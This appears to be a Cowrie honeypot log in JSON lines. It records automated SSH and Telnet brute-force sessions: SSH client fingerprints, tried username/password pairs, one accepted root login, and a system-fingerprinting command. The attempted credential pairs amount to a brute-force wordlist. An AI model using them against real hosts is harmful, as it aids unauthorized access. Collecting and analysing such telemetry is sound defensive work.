{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:35.832704Z","src_ip":"2.57.122.210","session":"072d6e3215b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:36.143409Z","src_ip":"2.57.122.210","session":"072d6e3215b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:37.249584Z","src_ip":"2.57.122.210","session":"072d6e3215b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95dc41ab040","protocol":"ssh","message":"New connection: 223.247.153.211:49634 (10.17.0.5:22) [session: f95dc41ab040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:56.176254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:56.181547Z","src_ip":"223.247.153.211","session":"f95dc41ab040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:56.426158Z","src_ip":"223.247.153.211","session":"f95dc41ab040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manu","password":"12345","message":"login attempt [manu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:59.766427Z","src_ip":"223.247.153.211","session":"f95dc41ab040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:01.008512Z","src_ip":"223.247.153.211","session":"f95dc41ab040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5270350f40d9","protocol":"ssh","message":"New connection: 193.32.162.145:59292 (10.17.0.5:22) [session: 5270350f40d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:28.363257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:28.367720Z","src_ip":"193.32.162.145","session":"5270350f40d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:28.469621Z","src_ip":"193.32.162.145","session":"5270350f40d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:28.768457Z","src_ip":"193.32.162.145","session":"5270350f40d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:29.893227Z","src_ip":"193.32.162.145","session":"5270350f40d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41396,"dst_ip":"159.203.135.109","dst_port":22,"session":"de96ce10b235","protocol":"ssh","message":"New connection: 2.57.121.25:41396 (159.203.135.109:22) [session: de96ce10b235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:34.495446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:34.499708Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:34.602492Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12340987","message":"login attempt [user/12340987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:35.090608Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121282","message":"login attempt [user/121282] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:36.195376Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111988","message":"login attempt [user/12111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:37.300626Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111986","message":"login attempt [user/12111986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:38.406652Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111982","message":"login attempt [user/12111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:39.512278Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:03:40.618835Z","src_ip":"2.57.121.25","session":"de96ce10b235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":54628,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ef1fbfc570","protocol":"ssh","message":"New connection: 170.238.160.191:54628 (10.17.0.5:22) [session: 95ef1fbfc570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:25.325926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:25.329034Z","src_ip":"170.238.160.191","session":"95ef1fbfc570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:25.436884Z","src_ip":"170.238.160.191","session":"95ef1fbfc570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd2025!","message":"login attempt [admin/P@ssw0rd2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:25.905522Z","src_ip":"170.238.160.191","session":"95ef1fbfc570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:27.016712Z","src_ip":"170.238.160.191","session":"95ef1fbfc570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":60642,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d487fb1696","protocol":"ssh","message":"New connection: 101.36.108.125:60642 (10.17.0.5:22) [session: 74d487fb1696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:27.466418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:27.470924Z","src_ip":"101.36.108.125","session":"74d487fb1696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:27.684811Z","src_ip":"101.36.108.125","session":"74d487fb1696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"perforce","password":"perforce1234","message":"login attempt [perforce/perforce1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:28.574655Z","src_ip":"101.36.108.125","session":"74d487fb1696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.59.96.197","src_port":46511,"dst_ip":"159.203.135.109","dst_port":23,"session":"3efdf25637e6","protocol":"telnet","message":"New connection: 41.59.96.197:46511 (159.203.135.109:23) [session: 3efdf25637e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:29.518579Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:29.791235Z","src_ip":"101.36.108.125","session":"74d487fb1696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.076125860214233,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:42.594616Z","src_ip":"41.59.96.197","session":"3efdf25637e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51852,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b63cece6f9","protocol":"ssh","message":"New connection: 2.57.122.210:51852 (159.203.135.109:22) [session: 57b63cece6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:43.681223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:43.685021Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:43.784055Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"elayer","message":"login attempt [root/elayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:44.081703Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:44.309245Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:44.311388Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:44.412511Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:04:44.416793Z","src_ip":"2.57.122.210","session":"57b63cece6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44964,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ad7d6f2aeb8","protocol":"ssh","message":"New connection: 193.32.162.145:44964 (10.17.0.5:22) [session: 0ad7d6f2aeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:39.871141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:39.903542Z","src_ip":"193.32.162.145","session":"0ad7d6f2aeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:39.999208Z","src_ip":"193.32.162.145","session":"0ad7d6f2aeb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:40.375122Z","src_ip":"193.32.162.145","session":"0ad7d6f2aeb8","protocol":"ssh"}
